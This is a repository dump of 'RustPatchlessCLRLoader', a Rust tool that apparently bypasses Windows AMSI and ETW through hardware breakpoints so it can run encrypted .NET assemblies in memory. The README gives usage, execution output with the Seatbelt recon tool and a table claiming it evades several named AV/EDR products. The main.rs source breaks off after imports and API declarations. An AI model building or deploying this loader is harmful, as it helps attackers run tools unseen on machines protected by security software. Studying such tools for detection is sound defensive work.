├── Cargo.lock ├── Cargo.toml ├── README.md ├── screenshots ├── test1.png └── test2.png └── src └── main.rs /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "RustPatchlessCLRLoader" 7 | version = "1.0.0" 8 | dependencies = [ 9 | "base64", 10 | "clap", 11 | "clroxide", 12 | "kernel32-sys", 13 | "ntapi", 14 | "rc4", 15 | "sysinfo", 16 | "widestring", 17 | "winapi 0.3.9", 18 | "windows 0.54.0", 19 | ] 20 | 21 | [[package]] 22 | name = "anstream" 23 | version = "0.6.13" 24 | source = "registry+https://github.com/rust-lang/crates.io-index" 25 | checksum = "d96bd03f33fe50a863e394ee9718a706f988b9079b20c3784fb726e7678b62fb" 26 | dependencies = [ 27 | "anstyle", 28 | "anstyle-parse", 29 | "anstyle-query", 30 | "anstyle-wincon", 31 | "colorchoice", 32 | "utf8parse", 33 | ] 34 | 35 | [[package]] 36 | name = "anstyle" 37 | version = "1.0.6" 38 | source = "registry+https://github.com/rust-lang/crates.io-index" 39 | checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" 40 | 41 | [[package]] 42 | name = "anstyle-parse" 43 | version = "0.2.3" 44 | source = "registry+https://github.com/rust-lang/crates.io-index" 45 | checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" 46 | dependencies = [ 47 | "utf8parse", 48 | ] 49 | 50 | [[package]] 51 | name = "anstyle-query" 52 | version = "1.0.2" 53 | source = "registry+https://github.com/rust-lang/crates.io-index" 54 | checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" 55 | dependencies = [ 56 | "windows-sys", 57 | ] 58 | 59 | [[package]] 60 | name = "anstyle-wincon" 61 | version = "3.0.2" 62 | source = "registry+https://github.com/rust-lang/crates.io-index" 63 | checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" 64 | dependencies = [ 65 | "anstyle", 66 | "windows-sys", 67 | ] 68 | 69 | [[package]] 70 | name = "base64" 71 | version = "0.13.1" 72 | source = "registry+https://github.com/rust-lang/crates.io-index" 73 | checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" 74 | 75 | [[package]] 76 | name = "cfg-if" 77 | version = "1.0.0" 78 | source = "registry+https://github.com/rust-lang/crates.io-index" 79 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 80 | 81 | [[package]] 82 | name = "cipher" 83 | version = "0.4.4" 84 | source = "registry+https://github.com/rust-lang/crates.io-index" 85 | checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" 86 | dependencies = [ 87 | "crypto-common", 88 | "inout", 89 | ] 90 | 91 | [[package]] 92 | name = "clap" 93 | version = "4.5.2" 94 | source = "registry+https://github.com/rust-lang/crates.io-index" 95 | checksum = "b230ab84b0ffdf890d5a10abdbc8b83ae1c4918275daea1ab8801f71536b2651" 96 | dependencies = [ 97 | "clap_builder", 98 | "clap_derive", 99 | ] 100 | 101 | [[package]] 102 | name = "clap_builder" 103 | version = "4.5.2" 104 | source = "registry+https://github.com/rust-lang/crates.io-index" 105 | checksum = "ae129e2e766ae0ec03484e609954119f123cc1fe650337e155d03b022f24f7b4" 106 | dependencies = [ 107 | "anstream", 108 | "anstyle", 109 | "clap_lex", 110 | "strsim", 111 | ] 112 | 113 | [[package]] 114 | name = "clap_derive" 115 | version = "4.5.0" 116 | source = "registry+https://github.com/rust-lang/crates.io-index" 117 | checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" 118 | dependencies = [ 119 | "heck", 120 | "proc-macro2", 121 | "quote", 122 | "syn", 123 | ] 124 | 125 | [[package]] 126 | name = "clap_lex" 127 | version = "0.7.0" 128 | source = "registry+https://github.com/rust-lang/crates.io-index" 129 | checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" 130 | 131 | [[package]] 132 | name = "clroxide" 133 | version = "1.1.1" 134 | source = "registry+https://github.com/rust-lang/crates.io-index" 135 | checksum = "281a172ac3da6f4bed28fa7078c514d348f04d0540288dd79d2854c9a60b4ef3" 136 | dependencies = [ 137 | "windows 0.46.0", 138 | ] 139 | 140 | [[package]] 141 | name = "colorchoice" 142 | version = "1.0.0" 143 | source = "registry+https://github.com/rust-lang/crates.io-index" 144 | checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" 145 | 146 | [[package]] 147 | name = "core-foundation-sys" 148 | version = "0.8.6" 149 | source = "registry+https://github.com/rust-lang/crates.io-index" 150 | checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" 151 | 152 | [[package]] 153 | name = "crossbeam-deque" 154 | version = "0.8.5" 155 | source = "registry+https://github.com/rust-lang/crates.io-index" 156 | checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" 157 | dependencies = [ 158 | "crossbeam-epoch", 159 | "crossbeam-utils", 160 | ] 161 | 162 | [[package]] 163 | name = "crossbeam-epoch" 164 | version = "0.9.18" 165 | source = "registry+https://github.com/rust-lang/crates.io-index" 166 | checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" 167 | dependencies = [ 168 | "crossbeam-utils", 169 | ] 170 | 171 | [[package]] 172 | name = "crossbeam-utils" 173 | version = "0.8.19" 174 | source = "registry+https://github.com/rust-lang/crates.io-index" 175 | checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" 176 | 177 | [[package]] 178 | name = "crypto-common" 179 | version = "0.1.6" 180 | source = "registry+https://github.com/rust-lang/crates.io-index" 181 | checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" 182 | dependencies = [ 183 | "generic-array", 184 | "typenum", 185 | ] 186 | 187 | [[package]] 188 | name = "either" 189 | version = "1.10.0" 190 | source = "registry+https://github.com/rust-lang/crates.io-index" 191 | checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" 192 | 193 | [[package]] 194 | name = "generic-array" 195 | version = "0.14.7" 196 | source = "registry+https://github.com/rust-lang/crates.io-index" 197 | checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" 198 | dependencies = [ 199 | "typenum", 200 | "version_check", 201 | ] 202 | 203 | [[package]] 204 | name = "heck" 205 | version = "0.4.1" 206 | source = "registry+https://github.com/rust-lang/crates.io-index" 207 | checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" 208 | 209 | [[package]] 210 | name = "inout" 211 | version = "0.1.3" 212 | source = "registry+https://github.com/rust-lang/crates.io-index" 213 | checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" 214 | dependencies = [ 215 | "generic-array", 216 | ] 217 | 218 | [[package]] 219 | name = "kernel32-sys" 220 | version = "0.2.2" 221 | source = "registry+https://github.com/rust-lang/crates.io-index" 222 | checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" 223 | dependencies = [ 224 | "winapi 0.2.8", 225 | "winapi-build", 226 | ] 227 | 228 | [[package]] 229 | name = "libc" 230 | version = "0.2.153" 231 | source = "registry+https://github.com/rust-lang/crates.io-index" 232 | checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" 233 | 234 | [[package]] 235 | name = "ntapi" 236 | version = "0.4.1" 237 | source = "registry+https://github.com/rust-lang/crates.io-index" 238 | checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" 239 | dependencies = [ 240 | "winapi 0.3.9", 241 | ] 242 | 243 | [[package]] 244 | name = "once_cell" 245 | version = "1.19.0" 246 | source = "registry+https://github.com/rust-lang/crates.io-index" 247 | checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" 248 | 249 | [[package]] 250 | name = "proc-macro2" 251 | version = "1.0.79" 252 | source = "registry+https://github.com/rust-lang/crates.io-index" 253 | checksum = "e835ff2298f5721608eb1a980ecaee1aef2c132bf95ecc026a11b7bf3c01c02e" 254 | dependencies = [ 255 | "unicode-ident", 256 | ] 257 | 258 | [[package]] 259 | name = "quote" 260 | version = "1.0.35" 261 | source = "registry+https://github.com/rust-lang/crates.io-index" 262 | checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" 263 | dependencies = [ 264 | "proc-macro2", 265 | ] 266 | 267 | [[package]] 268 | name = "rayon" 269 | version = "1.9.0" 270 | source = "registry+https://github.com/rust-lang/crates.io-index" 271 | checksum = "e4963ed1bc86e4f3ee217022bd855b297cef07fb9eac5dfa1f788b220b49b3bd" 272 | dependencies = [ 273 | "either", 274 | "rayon-core", 275 | ] 276 | 277 | [[package]] 278 | name = "rayon-core" 279 | version = "1.12.1" 280 | source = "registry+https://github.com/rust-lang/crates.io-index" 281 | checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" 282 | dependencies = [ 283 | "crossbeam-deque", 284 | "crossbeam-utils", 285 | ] 286 | 287 | [[package]] 288 | name = "rc4" 289 | version = "0.1.0" 290 | source = "registry+https://github.com/rust-lang/crates.io-index" 291 | checksum = "0f1256e23efe6097f27aa82d6ca6889361c001586ae0f6917cbad072f05eb275" 292 | dependencies = [ 293 | "cipher", 294 | ] 295 | 296 | [[package]] 297 | name = "strsim" 298 | version = "0.11.0" 299 | source = "registry+https://github.com/rust-lang/crates.io-index" 300 | checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" 301 | 302 | [[package]] 303 | name = "syn" 304 | version = "2.0.52" 305 | source = "registry+https://github.com/rust-lang/crates.io-index" 306 | checksum = "b699d15b36d1f02c3e7c69f8ffef53de37aefae075d8488d4ba1a7788d574a07" 307 | dependencies = [ 308 | "proc-macro2", 309 | "quote", 310 | "unicode-ident", 311 | ] 312 | 313 | [[package]] 314 | name = "sysinfo" 315 | version = "0.30.7" 316 | source = "registry+https://github.com/rust-lang/crates.io-index" 317 | checksum = "0c385888ef380a852a16209afc8cfad22795dd8873d69c9a14d2e2088f118d18" 318 | dependencies = [ 319 | "cfg-if", 320 | "core-foundation-sys", 321 | "libc", 322 | "ntapi", 323 | "once_cell", 324 | "rayon", 325 | "windows 0.52.0", 326 | ] 327 | 328 | [[package]] 329 | name = "typenum" 330 | version = "1.17.0" 331 | source = "registry+https://github.com/rust-lang/crates.io-index" 332 | checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" 333 | 334 | [[package]] 335 | name = "unicode-ident" 336 | version = "1.0.12" 337 | source = "registry+https://github.com/rust-lang/crates.io-index" 338 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 339 | 340 | [[package]] 341 | name = "utf8parse" 342 | version = "0.2.1" 343 | source = "registry+https://github.com/rust-lang/crates.io-index" 344 | checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" 345 | 346 | [[package]] 347 | name = "version_check" 348 | version = "0.9.4" 349 | source = "registry+https://github.com/rust-lang/crates.io-index" 350 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 351 | 352 | [[package]] 353 | name = "widestring" 354 | version = "0.4.3" 355 | source = "registry+https://github.com/rust-lang/crates.io-index" 356 | checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c" 357 | 358 | [[package]] 359 | name = "winapi" 360 | version = "0.2.8" 361 | source = "registry+https://github.com/rust-lang/crates.io-index" 362 | checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" 363 | 364 | [[package]] 365 | name = "winapi" 366 | version = "0.3.9" 367 | source = "registry+https://github.com/rust-lang/crates.io-index" 368 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 369 | dependencies = [ 370 | "winapi-i686-pc-windows-gnu", 371 | "winapi-x86_64-pc-windows-gnu", 372 | ] 373 | 374 | [[package]] 375 | name = "winapi-build" 376 | version = "0.1.1" 377 | source = "registry+https://github.com/rust-lang/crates.io-index" 378 | checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" 379 | 380 | [[package]] 381 | name = "winapi-i686-pc-windows-gnu" 382 | version = "0.4.0" 383 | source = "registry+https://github.com/rust-lang/crates.io-index" 384 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 385 | 386 | [[package]] 387 | name = "winapi-x86_64-pc-windows-gnu" 388 | version = "0.4.0" 389 | source = "registry+https://github.com/rust-lang/crates.io-index" 390 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 391 | 392 | [[package]] 393 | name = "windows" 394 | version = "0.46.0" 395 | source = "registry+https://github.com/rust-lang/crates.io-index" 396 | checksum = "cdacb41e6a96a052c6cb63a144f24900236121c6f63f4f8219fef5977ecb0c25" 397 | dependencies = [ 398 | "windows-targets 0.42.2", 399 | ] 400 | 401 | [[package]] 402 | name = "windows" 403 | version = "0.52.0" 404 | source = "registry+https://github.com/rust-lang/crates.io-index" 405 | checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" 406 | dependencies = [ 407 | "windows-core 0.52.0", 408 | "windows-targets 0.52.4", 409 | ] 410 | 411 | [[package]] 412 | name = "windows" 413 | version = "0.54.0" 414 | source = "registry+https://github.com/rust-lang/crates.io-index" 415 | checksum = "9252e5725dbed82865af151df558e754e4a3c2c30818359eb17465f1346a1b49" 416 | dependencies = [ 417 | "windows-core 0.54.0", 418 | "windows-targets 0.52.4", 419 | ] 420 | 421 | [[package]] 422 | name = "windows-core" 423 | version = "0.52.0" 424 | source = "registry+https://github.com/rust-lang/crates.io-index" 425 | checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" 426 | dependencies = [ 427 | "windows-targets 0.52.4", 428 | ] 429 | 430 | [[package]] 431 | name = "windows-core" 432 | version = "0.54.0" 433 | source = "registry+https://github.com/rust-lang/crates.io-index" 434 | checksum = "12661b9c89351d684a50a8a643ce5f608e20243b9fb84687800163429f161d65" 435 | dependencies = [ 436 | "windows-result", 437 | "windows-targets 0.52.4", 438 | ] 439 | 440 | [[package]] 441 | name = "windows-result" 442 | version = "0.1.0" 443 | source = "registry+https://github.com/rust-lang/crates.io-index" 444 | checksum = "cd19df78e5168dfb0aedc343d1d1b8d422ab2db6756d2dc3fef75035402a3f64" 445 | dependencies = [ 446 | "windows-targets 0.52.4", 447 | ] 448 | 449 | [[package]] 450 | name = "windows-sys" 451 | version = "0.52.0" 452 | source = "registry+https://github.com/rust-lang/crates.io-index" 453 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 454 | dependencies = [ 455 | "windows-targets 0.52.4", 456 | ] 457 | 458 | [[package]] 459 | name = "windows-targets" 460 | version = "0.42.2" 461 | source = "registry+https://github.com/rust-lang/crates.io-index" 462 | checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" 463 | dependencies = [ 464 | "windows_aarch64_gnullvm 0.42.2", 465 | "windows_aarch64_msvc 0.42.2", 466 | "windows_i686_gnu 0.42.2", 467 | "windows_i686_msvc 0.42.2", 468 | "windows_x86_64_gnu 0.42.2", 469 | "windows_x86_64_gnullvm 0.42.2", 470 | "windows_x86_64_msvc 0.42.2", 471 | ] 472 | 473 | [[package]] 474 | name = "windows-targets" 475 | version = "0.52.4" 476 | source = "registry+https://github.com/rust-lang/crates.io-index" 477 | checksum = "7dd37b7e5ab9018759f893a1952c9420d060016fc19a472b4bb20d1bdd694d1b" 478 | dependencies = [ 479 | "windows_aarch64_gnullvm 0.52.4", 480 | "windows_aarch64_msvc 0.52.4", 481 | "windows_i686_gnu 0.52.4", 482 | "windows_i686_msvc 0.52.4", 483 | "windows_x86_64_gnu 0.52.4", 484 | "windows_x86_64_gnullvm 0.52.4", 485 | "windows_x86_64_msvc 0.52.4", 486 | ] 487 | 488 | [[package]] 489 | name = "windows_aarch64_gnullvm" 490 | version = "0.42.2" 491 | source = "registry+https://github.com/rust-lang/crates.io-index" 492 | checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" 493 | 494 | [[package]] 495 | name = "windows_aarch64_gnullvm" 496 | version = "0.52.4" 497 | source = "registry+https://github.com/rust-lang/crates.io-index" 498 | checksum = "bcf46cf4c365c6f2d1cc93ce535f2c8b244591df96ceee75d8e83deb70a9cac9" 499 | 500 | [[package]] 501 | name = "windows_aarch64_msvc" 502 | version = "0.42.2" 503 | source = "registry+https://github.com/rust-lang/crates.io-index" 504 | checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" 505 | 506 | [[package]] 507 | name = "windows_aarch64_msvc" 508 | version = "0.52.4" 509 | source = "registry+https://github.com/rust-lang/crates.io-index" 510 | checksum = "da9f259dd3bcf6990b55bffd094c4f7235817ba4ceebde8e6d11cd0c5633b675" 511 | 512 | [[package]] 513 | name = "windows_i686_gnu" 514 | version = "0.42.2" 515 | source = "registry+https://github.com/rust-lang/crates.io-index" 516 | checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" 517 | 518 | [[package]] 519 | name = "windows_i686_gnu" 520 | version = "0.52.4" 521 | source = "registry+https://github.com/rust-lang/crates.io-index" 522 | checksum = "b474d8268f99e0995f25b9f095bc7434632601028cf86590aea5c8a5cb7801d3" 523 | 524 | [[package]] 525 | name = "windows_i686_msvc" 526 | version = "0.42.2" 527 | source = "registry+https://github.com/rust-lang/crates.io-index" 528 | checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" 529 | 530 | [[package]] 531 | name = "windows_i686_msvc" 532 | version = "0.52.4" 533 | source = "registry+https://github.com/rust-lang/crates.io-index" 534 | checksum = "1515e9a29e5bed743cb4415a9ecf5dfca648ce85ee42e15873c3cd8610ff8e02" 535 | 536 | [[package]] 537 | name = "windows_x86_64_gnu" 538 | version = "0.42.2" 539 | source = "registry+https://github.com/rust-lang/crates.io-index" 540 | checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" 541 | 542 | [[package]] 543 | name = "windows_x86_64_gnu" 544 | version = "0.52.4" 545 | source = "registry+https://github.com/rust-lang/crates.io-index" 546 | checksum = "5eee091590e89cc02ad514ffe3ead9eb6b660aedca2183455434b93546371a03" 547 | 548 | [[package]] 549 | name = "windows_x86_64_gnullvm" 550 | version = "0.42.2" 551 | source = "registry+https://github.com/rust-lang/crates.io-index" 552 | checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" 553 | 554 | [[package]] 555 | name = "windows_x86_64_gnullvm" 556 | version = "0.52.4" 557 | source = "registry+https://github.com/rust-lang/crates.io-index" 558 | checksum = "77ca79f2451b49fa9e2af39f0747fe999fcda4f5e241b2898624dca97a1f2177" 559 | 560 | [[package]] 561 | name = "windows_x86_64_msvc" 562 | version = "0.42.2" 563 | source = "registry+https://github.com/rust-lang/crates.io-index" 564 | checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" 565 | 566 | [[package]] 567 | name = "windows_x86_64_msvc" 568 | version = "0.52.4" 569 | source = "registry+https://github.com/rust-lang/crates.io-index" 570 | checksum = "32b752e52a2da0ddfbdbcc6fceadfeede4c939ed16d13e648833a61dfb611ed8" 571 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "RustPatchlessCLRLoader" 3 | version = "1.0.0" 4 | edition = "2021" 5 | authors = ["C2Pain"] 6 | 7 | [dependencies] 8 | windows = { version = "0.54.0", features = [ 9 | "Win32_System_Diagnostics_Debug", 10 | "Win32_System_LibraryLoader", 11 | "Win32_System_Com", 12 | "Win32_Foundation", 13 | "Win32_System_Ole", 14 | "Win32_System_Memory" 15 | ]} 16 | clroxide = { version = "1.0.6", default-features = true } 17 | rc4 = "0.1.0" 18 | base64 = "0.13.0" 19 | sysinfo = "0.30.5" 20 | clap = { version = "4.5.0", features = ["derive"] } 21 | kernel32-sys = "0.2.2" 22 | winapi = {version = "0.3.9", features =["ntdef", "ntstatus", "minwindef", "winnt", "processthreadsapi","memoryapi","handleapi","libloaderapi","errhandlingapi","winbase"]} 23 | widestring = "0.4.3" 24 | ntapi = {version = "0.4.1"} 25 | 26 | [profile.release] 27 | pic = true 28 | opt-level = "z" # Optimize for size. 29 | lto = true # Enable Link Time Optimization 30 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 31 | panic = "abort" # Abort on panic 32 | strip = true # Automatically strip symbols from the binary. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RustPatchlessCLRLoader 2 | 3 |

4 | 5 | 6 |

7 | 8 | The RustPatchlessCLRLoader leverages a sophisticated integration of patchless techniques for bypassing both Event Tracing for Windows (ETW) and the Windows Antimalware Scan Interface (AMSI) across all threads with the goal of loading .NET assemblies dynamically by utilizing the [clroxide](https://github.com/yamakadi/clroxide) Rust library. It provides a robust solution for executing managed code stealthily without modifying system artifacts or triggering security mechanisms. 9 | 10 | ## Background 11 | Leveraging hardware breakpoints for patchless bypass presents several strategic advantages in cybersecurity assessments. This method eschews the use of well-known APIs like VirtualProtect, which are often scrutinized by advanced security solutions, thereby reducing the likelihood of detection. Additionally, the utilization of hardware breakpoints eliminates the need for direct modifications to files. Such alterations are typically flagged by file integrity monitoring systems or Endpoint Detection and Response (EDR) technologies. As a result, employing hardware breakpoints enables a more covert operation, enhancing the stealth aspect of security maneuvers. 12 | 13 | ## Payload Encryption 14 | RC4 Encrypt Payload: https://github.com/c2pain/RC4_Encryptor 15 | 16 | SharpCollection: https://github.com/Flangvik/SharpCollection 17 | 18 | Example: 19 | ``` 20 | C:\Users\C2Pain\Desktop> rc4_encryptor.exe Seatbelt.exe 21 | [+] Encrypted shellcode saved to: S-e-a-t-b-e-l-t-4.enc 22 | ``` 23 | 24 | ## Usage 25 | ``` 26 | C:\Users\C2Pain\Desktop>RustPatchlessCLRLoader.exe 27 | [+] RustPatchlessCLRLoader by C2Pain. 28 | [+] Github: https://github.com/c2pain/RustPatchlessCLRLoader 29 | [!] Usage: RustPatchlessCLRLoader.exe 30 | [!] Example: RustPatchlessCLRLoader.exe S-e-a-t-b-e-l-t-4.enc AntiVirus 31 | ``` 32 | 33 | ## Execution 34 | ``` 35 | C:\Users\C2Pain\Desktop>RustPatchlessCLRLoader.exe S-e-a-t-b-e-l-t-4.enc AntiVirus 36 | [+] RustPatchlessCLRLoader by C2Pain. 37 | [+] Github: https://github.com/c2pain/RustPatchlessCLRLoader 38 | [+] Running S-e-a-t-b-e-l-t-4.enc with args: ["AntiVirus"] 39 | [+] NtTraceControl Bypass invoked at address: 0x7FF9618B0DE0 40 | [+] AMSI Bypass invoked at address: 0x7FF949BE3880 41 | [+] Results: 42 | 43 | 44 | 45 | %&&@@@&& 46 | &&&&&&&%%%, #&&@@@@@@%%%%%%###############% 47 | &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% 48 | %%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( 49 | #%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( 50 | #%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( 51 | #####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( 52 | #######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### 53 | ###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### 54 | #####%###################### %%%.. @////(((&%%%%%%%################ 55 | &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* 56 | &%%&&&%%%%% v1.2.2 ,(((&%%%%%%%%%%%%%%%%%, 57 | #%%%%##, 58 | 59 | 60 | ====== AntiVirus ====== 61 | 62 | Engine : Windows Defender 63 | ProductEXE : windowsdefender:// 64 | ReportingEXE : %ProgramFiles%\Windows Defender\MsMpeng.exe 65 | 66 | 67 | 68 | [*] Completed collection in 0.038 seconds 69 | ``` 70 | 71 | ## AV/EDR Testing Result on x64 Windows 10/11 72 | The RustPatchlessCLRLoader has been tested with various antivirus products, such as loading the "Seatbelt" assembly without triggering any detection. It is important to note that while this loader effectively bypasses AMSI and ETW without detection, engaging in overtly malicious activities - such as using SharpKatz for password dumping, may activate behavioral detection mechanisms. 73 | 74 | Test Date: 2 Aug 2024 75 | | AV/EDR Product | Execute | 76 | | ------ | ------ | 77 | | Palo Alto Cortex XDR | :white_check_mark: | 78 | | Sophos Intercept X | :white_check_mark: | 79 | | McAfee | :white_check_mark: | 80 | | Microsoft Defender | :white_check_mark: | 81 | 82 | ## Screenshots 83 | ![Seatbelt](/screenshots/test1.png) 84 | ![Seatbelt](/screenshots/test2.png) 85 | 86 | ## ToDo 87 | - [ ] Powershell scripts support. 88 | - [ ] Fileless support with HTTP/HTTPS. 89 | 90 | ## Credits 91 | @yamakadi implementation of rust library that allows to host the CLR and dynamically execute dotnet binaries. [Link](https://github.com/yamakadi/clroxide) 92 | 93 | @BlackSnufkin implementation of PatchlessBypass AMSI and ETW in rust. [Link](https://github.com/BlackSnufkin/Rusty-Playground) 94 | 95 | ## Full Disclaimer 96 | For educational purposes only. Any actions and or activities related to the material contained within this repository is solely your responsibility. The misuse of the tools in this repo could result in criminal charges being brought against the persons in question. The author will not be held responsible in the event any criminal charges are brought against any individuals misusing the tools in this repository for mailicious ourposes or to break the law. 97 | 98 | ## Support 99 | BTC: bc1q6segt3zsy0q7656ktcf8kgulday0as27xtpffx 100 | 101 | [!["Buy Me A Coffee"](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://www.buymeacoffee.com/c2pain) 102 | -------------------------------------------------------------------------------- /screenshots/test1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/c2pain/RustPatchlessCLRLoader/27c5077bdf307688ccff6368f924e862ff37cd2b/screenshots/test1.png -------------------------------------------------------------------------------- /screenshots/test2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/c2pain/RustPatchlessCLRLoader/27c5077bdf307688ccff6368f924e862ff37cd2b/screenshots/test2.png -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case,non_camel_case_types, unused_imports)] 2 | 3 | use std::ffi::CString; 4 | use std::ptr::null_mut; 5 | use winapi::ctypes::c_void; 6 | use std::mem::zeroed; 7 | use std::mem; 8 | 9 | use winapi::shared::{ 10 | minwindef::ULONG, 11 | ntdef::{NT_SUCCESS, NTSTATUS, OBJECT_ATTRIBUTES}, 12 | ntstatus::STATUS_SUCCESS, 13 | 14 | }; 15 | 16 | use winapi::um::{ 17 | errhandlingapi::AddVectoredExceptionHandler, 18 | libloaderapi::{GetProcAddress, GetModuleHandleA, LoadLibraryA}, 19 | winnt::{EXCEPTION_POINTERS, CONTEXT, LONG, CONTEXT_ALL, HANDLE, ACCESS_MASK, THREAD_ALL_ACCESS,PVOID}, 20 | minwinbase::EXCEPTION_SINGLE_STEP, 21 | }; 22 | use ntapi::{ 23 | ntexapi::{SYSTEM_PROCESS_INFORMATION, SYSTEM_THREAD_INFORMATION, SystemProcessInformation}, 24 | ntpsapi::PROCESS_BASIC_INFORMATION, 25 | }; 26 | 27 | use winapi::vc::excpt::{EXCEPTION_CONTINUE_EXECUTION,EXCEPTION_CONTINUE_SEARCH}; 28 | 29 | use clroxide::clr::Clr; 30 | use std::{env, fs, process::exit}; 31 | use sysinfo::System; 32 | use std::{process, pin}; 33 | use windows::Win32::System::Diagnostics::Debug::IsDebuggerPresent; 34 | use std::{fs::File, io::Read}; 35 | use rc4::{Rc4, KeyInit, StreamCipher}; 36 | use windows::core::{s, PCSTR}; 37 | use base64; 38 | use std::os::raw::{c_ulong}; 39 | 40 | const S_OK: i32 = 0; 41 | const AMSI_RESULT_CLEAN: i32 = 0; 42 | static mut AMSI_SCAN_BUFFER_PTR: Option<*mut u8> = None; 43 | static mut NT_TRACE_CONTROL_PTR: Option<*mut u8> = None; 44 | 45 | #[repr(C)] 46 | struct CLIENT_ID { 47 | UniqueProcess: *mut c_void, 48 | UniqueThread: *mut c_void, 49 | } 50 | 51 | extern "stdcall" { 52 | 53 | fn NtGetContextThread( 54 | thread_handle: HANDLE, 55 | thread_context: *mut CONTEXT, 56 | ) -> ULONG; 57 | 58 | fn NtSetContextThread( 59 | thread_handle: HANDLE, 60 | thread_context: *mut CONTEXT, 61 | ) -> ULONG; 62 | fn NtQuerySystemInformation( 63 | SystemInformationClass: ULONG, 64 | SystemInformation: *mut c_void, 65 | SystemInformationLength: ULONG, 66 | ReturnLength: *mut ULONG, 67 | ) -> NTSTATUS; 68 | fn NtQueryInformationProcess( 69 | ProcessHandle: HANDLE, 70 | ProcessInformationClass: ULONG, 71 | ProcessInformation: 